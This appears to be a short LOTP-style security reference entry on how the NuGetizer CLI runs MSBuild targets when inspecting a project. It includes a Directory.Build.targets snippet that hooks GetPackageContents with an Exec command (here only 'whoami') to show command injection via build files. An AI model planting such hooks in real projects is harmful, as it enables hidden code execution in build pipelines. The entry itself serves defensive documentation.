LOTP

NuGetizer CLI

cli config-file input-file eval-sh

References

nugetize, distributed as dotnet-nugetize, inspects package contents by invoking MSBuild targets.

Directory.Build.targets

An attacker controlling the inspected project or an imported build file can attach a command to GetPackageContents:

<Project>
  <Target Name="Injected" BeforeTargets="GetPackageContents">
    <Exec Command="whoami" />
  </Target>
</Project>
nugetize App.csproj

The inspector’s design-time and compiler-skipping settings do not disable project tasks. Execution can precede an inspection failure; a nonzero exit does not mean the command was safe.